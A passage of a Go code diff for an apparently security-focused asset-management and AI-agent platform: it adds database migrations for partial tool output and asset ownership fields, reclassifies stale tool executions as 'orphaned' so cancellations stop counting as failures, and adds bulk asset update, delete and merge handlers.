created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
@@ -412,6 +417,8 @@ func (db *DB) initTables() error {
host TEXT NOT NULL DEFAULT '', ip TEXT NOT NULL DEFAULT '', port INTEGER NOT NULL DEFAULT 0,
domain TEXT NOT NULL DEFAULT '', protocol TEXT NOT NULL DEFAULT '', title TEXT NOT NULL DEFAULT '',
server TEXT NOT NULL DEFAULT '', country TEXT NOT NULL DEFAULT '', province TEXT NOT NULL DEFAULT '', city TEXT NOT NULL DEFAULT '',
responsible_person TEXT NOT NULL DEFAULT '', department TEXT NOT NULL DEFAULT '', business_system TEXT NOT NULL DEFAULT '',
environment TEXT NOT NULL DEFAULT '', criticality TEXT NOT NULL DEFAULT '',
source TEXT NOT NULL DEFAULT 'manual', source_query TEXT NOT NULL DEFAULT '', status TEXT NOT NULL DEFAULT 'active',
tags_json TEXT NOT NULL DEFAULT '[]', first_seen_at DATETIME NOT NULL, last_seen_at DATETIME NOT NULL,
created_at DATETIME NOT NULL, updated_at DATETIME NOT NULL, owner_user_id TEXT,
@@ -952,6 +959,9 @@ func (db *DB) initTables() error {
if err := db.migrateWorkflowRunsTable(); err != nil {
db.logger.Warn("迁移workflow_runs表失败", zap.Error(err))
}
if err := db.migrateToolExecutionsPartialOutputColumns(); err != nil {
db.logger.Warn("迁移tool_executions partial output字段失败", zap.Error(err))
}
if err := db.migrateRBACOwnershipColumns(); err != nil {
db.logger.Warn("迁移RBAC资源归属字段失败", zap.Error(err))
}
@@ -976,6 +986,23 @@ func (db *DB) migrateRobotUserSessionsTable() error {
return nil
}
func (db *DB) migrateToolExecutionsPartialOutputColumns() error {
for _, col := range []struct {
name string
stmt string
}{
{"partial_output", "ALTER TABLE tool_executions ADD COLUMN partial_output TEXT"},
{"partial_output_bytes", "ALTER TABLE tool_executions ADD COLUMN partial_output_bytes INTEGER NOT NULL DEFAULT 0"},
{"partial_output_truncated", "ALTER TABLE tool_executions ADD COLUMN partial_output_truncated INTEGER NOT NULL DEFAULT 0"},
{"partial_output_updated_at", "ALTER TABLE tool_executions ADD COLUMN partial_output_updated_at DATETIME"},
} {
if err := db.addColumnIfMissing("tool_executions", col.name, col.stmt); err != nil {
return err
}
}
return nil
}
// migrateAssetsTable keeps databases created by the first asset-management release compatible.
func (db *DB) migrateAssetsTable() error {
columns := []struct {
@@ -987,6 +1014,11 @@ func (db *DB) migrateAssetsTable() error {
{"last_scan_conversation_id", "ALTER TABLE assets ADD COLUMN last_scan_conversation_id TEXT NOT NULL DEFAULT ''"},
{"last_scan_queue_id", "ALTER TABLE assets ADD COLUMN last_scan_queue_id TEXT NOT NULL DEFAULT ''"},
{"last_scan_task_id", "ALTER TABLE assets ADD COLUMN last_scan_task_id TEXT NOT NULL DEFAULT ''"},
{"responsible_person", "ALTER TABLE assets ADD COLUMN responsible_person TEXT NOT NULL DEFAULT ''"},
{"department", "ALTER TABLE assets ADD COLUMN department TEXT NOT NULL DEFAULT ''"},
{"business_system", "ALTER TABLE assets ADD COLUMN business_system TEXT NOT NULL DEFAULT ''"},
{"environment", "ALTER TABLE assets ADD COLUMN environment TEXT NOT NULL DEFAULT ''"},
{"criticality", "ALTER TABLE assets ADD COLUMN criticality TEXT NOT NULL DEFAULT ''"},
}
for _, column := range columns {
var count int
@@ -1120,6 +1152,21 @@ func (db *DB) migrateConversationsTable() error {
}
}
// 检查 role_name 字段是否存在(对话绑定的业务角色,用于历史任务切换时恢复角色上下文)
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('conversations') WHERE name='role_name'").Scan(&count)
if err != nil {
if _, addErr := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); addErr != nil {
errMsg := strings.ToLower(addErr.Error())
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
db.logger.Warn("添加role_name字段失败", zap.Error(addErr))
}
}
} else if count == 0 {
if _, err := db.Exec("ALTER TABLE conversations ADD COLUMN role_name TEXT NOT NULL DEFAULT '默认'"); err != nil {
db.logger.Warn("添加role_name字段失败", zap.Error(err))
}
}
return nil
}
+61 -24
View File
@@ -43,11 +43,19 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
if exec.Duration > 0 {
durationMs = sql.NullInt64{Int64: exec.Duration.Milliseconds(), Valid: true}
}
var partialUpdatedAt sql.NullTime
if exec.PartialOutputUpdatedAt != nil {
partialUpdatedAt = sql.NullTime{Time: *exec.PartialOutputUpdatedAt, Valid: true}
}
partialTruncated := 0
if exec.PartialOutputTruncated {
partialTruncated = 1
}
query := `
INSERT OR REPLACE INTO tool_executions
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, owner_user_id, conversation_id, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
(id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, partial_output, partial_output_bytes, partial_output_truncated, partial_output_updated_at, owner_user_id, conversation_id, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
`
_, err = db.Exec(query,
@@ -60,6 +68,10 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
exec.StartTime,
endTime,
durationMs,
sqlNullString(exec.PartialOutput),
exec.PartialOutputBytes,
partialTruncated,
partialUpdatedAt,
strings.TrimSpace(exec.OwnerUserID),
strings.TrimSpace(exec.ConversationID),
time.Now(),
@@ -90,6 +102,13 @@ func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error
return err
}
func sqlNullString(s string) sql.NullString {
if s == "" {
return sql.NullString{}
}
return sql.NullString{String: s, Valid: true}
}
// CountToolExecutions 统计工具执行记录总数
func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
return db.CountToolExecutionsForAccess(status, toolName, RBACListAccess{Scope: RBACScopeAll})
@@ -267,7 +286,8 @@ type ToolStatsSummaryResult struct {
TopTools []*mcp.ToolStats
}
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)
// LoadToolStatsSummary 聚合统计信息,仅返回汇总与 Top N 工具(避免全量 map 传输)
// 监控页的失败口径只包含真实失败/异常终止;用户主动取消的 cancelled 保留在总调用中,不计入失败。
func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
if topN <= 0 {
topN = 6
@@ -282,19 +302,19 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
summaryQuery := `
SELECT COUNT(*),
COALESCE(SUM(total_calls), 0),
COALESCE(SUM(success_calls), 0),
COALESCE(SUM(failed_calls), 0),
MAX(last_call_time)
FROM tool_stats
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
MAX(start_time),
COUNT(DISTINCT tool_name)
FROM tool_executions
`
var lastCallRaw sql.NullString
err := db.QueryRow(summaryQuery).Scan(
&result.Summary.ToolCount,
&result.Summary.TotalCalls,
&result.Summary.SuccessCalls,
&result.Summary.FailedCalls,
&lastCallRaw,
&result.Summary.ToolCount,
)
if err != nil {
return nil, err
@@ -310,9 +330,13 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
}
topQuery := `
SELECT tool_name, total_calls, success_calls, failed_calls, last_call_time
FROM tool_stats
WHERE total_calls > 0
SELECT tool_name,
COUNT(*) AS total_calls,
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END) AS success_calls,
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed_calls,
MAX(start_time) AS last_call_time
FROM tool_executions
GROUP BY tool_name
ORDER BY total_calls DESC, tool_name ASC
LIMIT ?
`
@@ -324,7 +348,7 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
for rows.Next() {
var stat mcp.ToolStats
var lastCallTime sql.NullTime
var lastCallTime sql.NullString
if err := rows.Scan(
&stat.ToolName,
&stat.TotalCalls,
@@ -336,7 +360,8 @@ func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
continue
}
if lastCallTime.Valid {
stat.LastCallTime = &lastCallTime.Time
parsed := parseDBTime(lastCallTime.String)
stat.LastCallTime = &parsed
}
result.TopTools = append(result.TopTools, &stat)
}
@@ -359,7 +384,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
var lastCall sql.NullString
err := db.QueryRow(`SELECT COUNT(*),
COALESCE(SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END), 0),
COALESCE(SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), 0),
COALESCE(SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), 0),
MAX(start_time), COUNT(DISTINCT tool_name)`+fromSQL, args...).Scan(
&result.Summary.TotalCalls, &result.Summary.SuccessCalls, &result.Summary.FailedCalls,
&lastCall, &result.Summary.ToolCount,
@@ -373,7 +398,7 @@ func (db *DB) LoadToolStatsSummaryForAccess(topN int, access RBACListAccess) (*T
}
rows, err := db.Query(`SELECT tool_name, COUNT(*),
SUM(CASE WHEN status = 'completed' THEN 1 ELSE 0 END),
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END), MAX(start_time)`+
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END), MAX(start_time)`+
fromSQL+` GROUP BY tool_name ORDER BY COUNT(*) DESC, tool_name ASC LIMIT ?`, append(args, topN)...)
if err != nil {
return nil, err
@@ -482,7 +507,9 @@ func appendToolExecutionAccessSQL(query string, args []interface{}, access RBACL
// GetToolExecution 根据ID获取单条工具执行记录
func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
query := `
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms, COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
SELECT id, tool_name, arguments, status, result, error, start_time, end_time, duration_ms,
COALESCE(partial_output, ''), COALESCE(partial_output_bytes, 0), COALESCE(partial_output_truncated, 0), partial_output_updated_at,
COALESCE(owner_user_id, ''), COALESCE(conversation_id, '')
FROM tool_executions
WHERE id = ?
`
@@ -495,6 +522,8 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
var errorText sql.NullString
var endTime sql.NullTime
var durationMs sql.NullInt64
var partialTruncated int
var partialUpdatedAt sql.NullTime
err := row.Scan(
&exec.ID,
@@ -506,6 +535,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
&exec.StartTime,
&endTime,
&durationMs,
&exec.PartialOutput,
&exec.PartialOutputBytes,
&partialTruncated,
&partialUpdatedAt,
&exec.OwnerUserID,
&exec.ConversationID,
)
@@ -538,6 +571,10 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
if durationMs.Valid {
exec.Duration = time.Duration(durationMs.Int64) * time.Millisecond
}
exec.PartialOutputTruncated = partialTruncated != 0
if partialUpdatedAt.Valid {
exec.PartialOutputUpdatedAt = &partialUpdatedAt.Time
}
return &exec, nil
}
@@ -565,7 +602,7 @@ func (db *DB) UserCanAccessToolExecution(userID, scope, executionID string) bool
return conversation != "" && db.UserCanAccessResource(userID, scope, "conversation", conversation)
}
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 cancelled(如进程重启后无对应执行协程)。
// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 orphaned(如进程重启后无对应执行协程)。
func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg string) (int64, error) {
errMsg = strings.TrimSpace(errMsg)
if errMsg == "" {
@@ -573,7 +610,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
}
query := `
UPDATE tool_executions
SET status = 'cancelled',
SET status = 'orphaned',
error = ?,
end_time = ?,
duration_ms = MAX(0, CAST((julianday(?) - julianday(start_time)) * 86400000 AS INTEGER))
@@ -586,7 +623,7 @@ func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg stri
return res.RowsAffected()
}
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 cancelled。
// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 orphaned。
// activeIDs 为当前进程内仍登记 cancel 的 executionId;不在集合内且已超时的视为孤儿记录。
func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.Duration, activeIDs map[string]struct{}, errMsg string) (int64, error) {
errMsg = strings.TrimSpace(errMsg)
@@ -639,7 +676,7 @@ func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.
}
res, err := db.Exec(`
UPDATE tool_executions
SET status = 'cancelled', error = ?, end_time = ?, duration_ms = ?
SET status = 'orphaned', error = ?, end_time = ?, duration_ms = ?
WHERE id = ? AND status = 'running'
`, errMsg, endTime, durationMs, row.id)
if err != nil {
@@ -815,7 +852,7 @@ func (db *DB) PurgeToolExecutionsBefore(cutoff time.Time) (int64, error) {
}
delta.totalCalls += count
switch status {
case "failed", "cancelled":
case "failed", "hard_timeout", "orphaned":
delta.failedCalls += count
case "completed":
delta.successCalls += count
@@ -971,7 +1008,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
query = `
SELECT date(start_time, 'localtime') AS bucket,
COUNT(*) AS total,
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
FROM tool_executions
WHERE start_time >= ?
GROUP BY bucket
@@ -981,7 +1018,7 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
query = `
SELECT strftime('%Y-%m-%d %H:00:00', start_time, 'localtime') AS bucket,
COUNT(*) AS total,
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
SUM(CASE WHEN status IN ('failed', 'hard_timeout', 'orphaned') THEN 1 ELSE 0 END) AS failed
FROM tool_executions
WHERE start_time >= ?
GROUP BY bucket
+4 -4
View File
@@ -43,8 +43,8 @@ func TestCancelOrphanedRunningToolExecutions(t *testing.T) {
if err != nil {
t.Fatalf("GetToolExecution: %v", err)
}
if got.Status != "cancelled" {
t.Fatalf("expected cancelled, got %s", got.Status)
if got.Status != "orphaned" {
t.Fatalf("expected orphaned, got %s", got.Status)
}
if got.EndTime == nil {
t.Fatal("expected end_time to be set")
@@ -88,8 +88,8 @@ func TestFinalizeStaleRunningToolExecutions_skipsActive(t *testing.T) {
if err != nil {
t.Fatalf("GetToolExecution stale: %v", err)
}
if stale.Status != "cancelled" {
t.Fatalf("stale expected cancelled, got %s", stale.Status)
if stale.Status != "orphaned" {
t.Fatalf("stale expected orphaned, got %s", stale.Status)
}
activeExec, err := db.GetToolExecution("active")
+46
View File
@@ -84,3 +84,49 @@ func TestLoadToolStatsSummaryAndListPage(t *testing.T) {
}
}
}
func TestLoadToolStatsSummaryDoesNotCountCancelledAsFailed(t *testing.T) {
dbPath := filepath.Join(t.TempDir(), "monitor-cancelled-summary.db")
db, err := NewDB(dbPath, zap.NewNop())
if err != nil {
t.Fatalf("NewDB: %v", err)
}
defer db.Close()
now := time.Now()
for i, status := range []string{"completed", "cancelled", "failed"} {
exec := &mcp.ToolExecution{
ID: fmt.Sprintf("exec-%d", i),
ToolName: "exec",
Arguments: map[string]interface{}{},
Status: status,
StartTime: now.Add(time.Duration(i) * time.Second),
}
end := exec.StartTime.Add(time.Second)
exec.EndTime = &end
exec.Duration = time.Second
if err := db.SaveToolExecution(exec); err != nil {
t.Fatalf("SaveToolExecution(%s): %v", status, err)
}
}
summary, err := db.LoadToolStatsSummary(1)
if err != nil {
t.Fatalf("LoadToolStatsSummary: %v", err)
}
if summary.Summary.TotalCalls != 3 {
t.Fatalf("totalCalls = %d, want 3", summary.Summary.TotalCalls)
}
if summary.Summary.SuccessCalls != 1 {
t.Fatalf("successCalls = %d, want 1", summary.Summary.SuccessCalls)
}
if summary.Summary.FailedCalls != 1 {
t.Fatalf("failedCalls = %d, want 1", summary.Summary.FailedCalls)
}
if len(summary.TopTools) != 1 {
t.Fatalf("top tools = %d, want 1", len(summary.TopTools))
}
if summary.TopTools[0].FailedCalls != 1 {
t.Fatalf("top tool failedCalls = %d, want 1", summary.TopTools[0].FailedCalls)
}
}
+6 -2
View File
@@ -84,7 +84,7 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
limit = 100
}
rows, err := db.Query(
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id
`SELECT id, title, COALESCE(pinned, 0), created_at, updated_at, project_id, role_name
FROM conversations WHERE project_id = ? ORDER BY updated_at DESC LIMIT ? OFFSET ?`,
projectID, limit, offset,
)
@@ -99,12 +99,16 @@ func (db *DB) ListConversationsByProjectID(projectID string, limit, offset int)
var createdAt, updatedAt string
var pinned int
var pid sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid); err != nil {
var roleName sql.NullString
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &pid, &roleName); err != nil {
return nil, err
}
if pid.Valid {
conv.ProjectID = strings.TrimSpace(pid.String)
}
if roleName.Valid {
conv.RoleName = normalizeConversationRoleName(roleName.String)
}
conv.CreatedAt = parseDBTime(createdAt)
conv.UpdatedAt = parseDBTime(updatedAt)
conv.Pinned = pinned != 0
+8 -7
View File
@@ -212,7 +212,7 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
if h == nil || conversationID == "" || h.tasks == nil {
return
}
h.cancelActiveMCPToolForConversation(conversationID)
h.cancelRunningMCPToolsForConversation(conversationID)
h.tasks.AbortActiveEinoExecute(conversationID, "")
if ok, err := h.tasks.CancelTask(conversationID, ErrTaskCancelled); ok {
h.logger.Info("已取消会话运行中任务", zap.String("conversationId", conversationID))
@@ -221,12 +221,13 @@ func (h *AgentHandler) CancelRunningTaskForConversation(conversationID string) {
}
}
func (h *AgentHandler) cancelActiveMCPToolForConversation(conversationID string) {
if h == nil || h.tasks == nil || h.agent == nil {
func (h *AgentHandler) cancelRunningMCPToolsForConversation(conversationID string) {
if h == nil || h.agent == nil {
return
}
if execID := h.tasks.ActiveMCPExecutionID(conversationID); execID != "" {
h.agent.CancelMCPToolExecutionWithNote(execID, "")
n := h.agent.CancelRunningMCPToolsForConversation(conversationID, "会话已结束,自动终止仍在运行的工具")
if n > 0 && h.logger != nil {
h.logger.Info("已终止会话仍在运行的 MCP 工具", zap.String("conversationId", conversationID), zap.Int("count", n))
}
}
@@ -266,7 +267,7 @@ func NewAgentHandler(agent *agent.Agent, db *database.DB, cfg *config.Config, lo
batchCronParser: cron.NewParser(cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor),
auditLLM: openai.NewClient(llmCfg, llmHTTP, logger),
}
tm.SetToolCanceler(handler.cancelActiveMCPToolForConversation)
tm.SetToolCanceler(handler.cancelRunningMCPToolsForConversation)
if err := handler.hitlManager.EnsureSchema(); err != nil {
logger.Warn("初始化 HITL 表失败", zap.Error(err))
}
@@ -1553,7 +1554,7 @@ func (h *AgentHandler) CancelAgentLoop(c *gin.Context) {
var cause error = ErrTaskCancelled
msg := "已提交取消请求,任务将在当前步骤完成后停止。"
h.cancelActiveMCPToolForConversation(req.ConversationID)
h.cancelRunningMCPToolsForConversation(req.ConversationID)
h.tasks.AbortActiveEinoExecute(req.ConversationID, "")
ok, err := h.tasks.CancelTask(req.ConversationID, cause)
if err != nil {
+241 -6
View File
@@ -18,6 +18,11 @@ type AssetHandler struct {
logger *zap.Logger
}
const (
maxAssetImportBatch = 100000
maxAssetOperationBatch = 10000
)
func NewAssetHandler(db *database.DB, logger *zap.Logger) *AssetHandler {
return &AssetHandler{db: db, logger: logger}
}
@@ -29,6 +34,13 @@ func assetAccess(c *gin.Context) database.RBACListAccess {
return database.RBACListAccess{}
}
func assetAccessForPermission(c *gin.Context, permission string) database.RBACListAccess {
if session, ok := security.CurrentSession(c); ok {
return database.RBACListAccess{UserID: session.UserID, Scope: session.ScopeFor(permission)}
}
return database.RBACListAccess{}
}
type importAssetsRequest struct {
Assets []*database.Asset `json:"assets" binding:"required"`
Source string `json:"source"`
@@ -51,14 +63,35 @@ type updateAssetsProjectRequest struct {
ProjectID string `json:"project_id"`
}
type bulkUpdateAssetsRequest struct {
AssetIDs []string `json:"asset_ids" binding:"required"`
Status *string `json:"status"`
ResponsiblePerson *string `json:"responsible_person"`
Department *string `json:"department"`
BusinessSystem *string `json:"business_system"`
Environment *string `json:"environment"`
Criticality *string `json:"criticality"`
AddTags []string `json:"add_tags"`
RemoveTags []string `json:"remove_tags"`
}
type assetIDsRequest struct {
AssetIDs []string `json:"asset_ids" binding:"required"`
}
type mergeAssetsRequest struct {
AssetIDs []string `json:"asset_ids" binding:"required"`
PrimaryID string `json:"primary_id"`
}
func (h *AssetHandler) Import(c *gin.Context) {
var req importAssetsRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if len(req.Assets) == 0 || len(req.Assets) > 1000 {
c.JSON(http.StatusBadRequest, gin.H{"error": "assets 数量必须在 1-1000 之间"})
if len(req.Assets) == 0 || len(req.Assets) > maxAssetImportBatch {
c.JSON(http.StatusBadRequest, gin.H{"error": "assets 数量必须在 1-100000 之间"})
return
}
owner := ""
@@ -132,6 +165,11 @@ func assetListFilterFromQuery(c *gin.Context) (database.AssetListFilter, error)
Source: strings.TrimSpace(c.Query("source")), Tag: strings.TrimSpace(c.Query("tag")), Host: strings.TrimSpace(c.Query("host")),
IP: strings.TrimSpace(c.Query("ip")), Domain: strings.TrimSpace(c.Query("domain")), ScanState: strings.ToLower(strings.TrimSpace(c.Query("scan_state"))),
SortBy: strings.ToLower(strings.TrimSpace(c.Query("sort_by"))), SortOrder: strings.ToLower(strings.TrimSpace(c.Query("sort_order"))),
RiskLevel: strings.ToLower(strings.TrimSpace(c.Query("risk_level"))),
Country: strings.TrimSpace(c.Query("country")), Province: strings.TrimSpace(c.Query("province")), City: strings.TrimSpace(c.Query("city")),
ResponsiblePerson: strings.TrimSpace(c.Query("responsible_person")), Department: strings.TrimSpace(c.Query("department")),
BusinessSystem: strings.TrimSpace(c.Query("business_system")), Environment: strings.ToLower(strings.TrimSpace(c.Query("environment"))),
Criticality: strings.ToLower(strings.TrimSpace(c.Query("criticality"))),
}
if raw := strings.TrimSpace(c.Query("port")); raw != "" {
port, err := strconv.Atoi(raw)
@@ -140,6 +178,21 @@ func assetListFilterFromQuery(c *gin.Context) (database.AssetListFilter, error)
}
filter.Port = &port
}
for field, target := range map[string]**int{
"min_vulnerabilities": &filter.MinVulnerabilities,
"max_vulnerabilities": &filter.MaxVulnerabilities,
"scan_overdue_days": &filter.ScanOverdueDays,
} {
raw := strings.TrimSpace(c.Query(field))
if raw == "" {
continue
}
value, err := strconv.Atoi(raw)
if err != nil || value < 0 || (field == "scan_overdue_days" && value == 0) {
return filter, &assetQueryError{field: field, value: raw}
}
*target = &value
}
var err error
if filter.LastScanBefore, err = parseAssetQueryTime("last_scan_before", c.Query("last_scan_before")); err != nil {
return filter, err
@@ -147,6 +200,12 @@ func assetListFilterFromQuery(c *gin.Context) (database.AssetListFilter, error)
if filter.LastScanAfter, err = parseAssetQueryTime("last_scan_after", c.Query("last_scan_after")); err != nil {
return filter, err
}
if filter.FirstSeenBefore, err = parseAssetQueryTime("first_seen_before", c.Query("first_seen_before")); err != nil {
return filter, err
}
if filter.FirstSeenAfter, err = parseAssetQueryTime("first_seen_after", c.Query("first_seen_after")); err != nil {
return filter, err
}
if filter.LastSeenBefore, err = parseAssetQueryTime("last_seen_before", c.Query("last_seen_before")); err != nil {
return filter, err
}
@@ -156,6 +215,21 @@ func assetListFilterFromQuery(c *gin.Context) (database.AssetListFilter, error)
return filter, nil
}
// Selection resolves all assets matching the current filter for cross-page actions.
func (h *AssetHandler) Selection(c *gin.Context) {
filter, err := assetListFilterFromQuery(c)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
assets, total, err := h.db.ListAssetsForOperation(maxAssetOperationBatch, filter, assetAccess(c))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error(), "total": total})
return
}
c.JSON(http.StatusOK, gin.H{"assets": assets, "total": total})
}
type assetQueryError struct{ field, value string }
func (e *assetQueryError) Error() string {
@@ -200,8 +274,8 @@ func (h *AssetHandler) RecordScans(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if len(req.Scans) == 0 || len(req.Scans) > 1000 {
c.JSON(http.StatusBadRequest, gin.H{"error": "scans 数量必须在 1-1000 之间"})
if len(req.Scans) == 0 || len(req.Scans) > maxAssetOperationBatch {
c.JSON(http.StatusBadRequest, gin.H{"error": "scans 数量必须在 1-10000 之间"})
return
}
access := assetAccess(c)
@@ -273,8 +347,8 @@ func (h *AssetHandler) UpdateProjectBinding(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if len(req.AssetIDs) == 0 || len(req.AssetIDs) > 1000 {
c.JSON(http.StatusBadRequest, gin.H{"error": "asset_ids 数量必须在 1-1000 之间"})
if len(req.AssetIDs) == 0 || len(req.AssetIDs) > maxAssetOperationBatch {
c.JSON(http.StatusBadRequest, gin.H{"error": "asset_ids 数量必须在 1-10000 之间"})
return
}
req.ProjectID = strings.TrimSpace(req.ProjectID)
@@ -296,6 +370,167 @@ func (h *AssetHandler) UpdateProjectBinding(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{"updated": updated, "project_id": req.ProjectID})
}
func (h *AssetHandler) BulkUpdate(c *gin.Context) {
var req bulkUpdateAssetsRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if len(req.AssetIDs) == 0 || len(req.AssetIDs) > maxAssetOperationBatch {
c.JSON(http.StatusBadRequest, gin.H{"error": "asset_ids 数量必须在 1-10000 之间"})
return
}
updated, err := h.db.UpdateAssetsBulk(req.AssetIDs, database.AssetBulkPatch{
Status: req.Status, ResponsiblePerson: req.ResponsiblePerson, Department: req.Department,
BusinessSystem: req.BusinessSystem, Environment: req.Environment, Criticality: req.Criticality,
AddTags: req.AddTags, RemoveTags: req.RemoveTags,
}, assetAccess(c))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"updated": updated})
}
func (h *AssetHandler) BatchDelete(c *gin.Context) {
var req assetIDsRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if len(req.AssetIDs) == 0 || len(req.AssetIDs) > maxAssetOperationBatch {
c.JSON(http.StatusBadRequest, gin.H{"error": "asset_ids 数量必须在 1-10000 之间"})
return
}
deleted, err := h.db.DeleteAssets(req.AssetIDs, assetAccess(c))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"deleted": deleted})
}
func assetIdentityKeys(asset *database.Asset) map[string]struct{} {
keys := map[string]struct{}{}
if value := strings.ToLower(strings.TrimSpace(asset.Domain)); value != "" {
keys["domain:"+value] = struct{}{}
}
if value := strings.ToLower(strings.Trim(strings.TrimSpace(asset.IP), "[]")); value != "" {
keys["ip:"+value] = struct{}{}
}
if value := strings.ToLower(strings.TrimSpace(asset.Host)); value != "" {
keys["host:"+value] = struct{}{}
}
return keys
}
func shareAssetIdentity(left, right *database.Asset) bool {
for key := range assetIdentityKeys(left) {
if _, ok := assetIdentityKeys(right)[key]; ok {
return true
}
}
return false
}
// Merge keeps the selected primary asset and safely combines compatible duplicate metadata.
func (h *AssetHandler) Merge(c *gin.Context) {
var req mergeAssetsRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if len(req.AssetIDs) < 2 || len(req.AssetIDs) > 100 {
c.JSON(http.StatusBadRequest, gin.H{"error": "合并资产数量必须在 2-100 之间"})
return
}
writeAccess := assetAccessForPermission(c, "asset:write")
deleteAccess := assetAccessForPermission(c, "asset:delete")
primaryID := strings.TrimSpace(req.PrimaryID)
if primaryID == "" {
primaryID = strings.TrimSpace(req.AssetIDs[0])
}
primary, err := h.db.GetAsset(primaryID, writeAccess)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "主资产不存在或无权访问"})
return
}
others := make([]*database.Asset, 0, len(req.AssetIDs)-1)
seen := map[string]struct{}{primaryID: {}}
for _, id := range req.AssetIDs {
id = strings.TrimSpace(id)
if id == "" || id == primaryID {
continue
}
if _, ok := seen[id]; ok {
continue
}
seen[id] = struct{}{}
item, err := h.db.GetAsset(id, writeAccess)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "部分资产不存在或无权访问"})
return
}
if !shareAssetIdentity(primary, item) {
c.JSON(http.StatusBadRequest, gin.H{"error": "所选资产没有共同域名、IP 或 Host,不能判定为重复资产"})
return
}
others = append(others, item)
}
if len(others) == 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "至少需要两个不同资产"})
return
}
mergeText := func(dst *string, src string) {
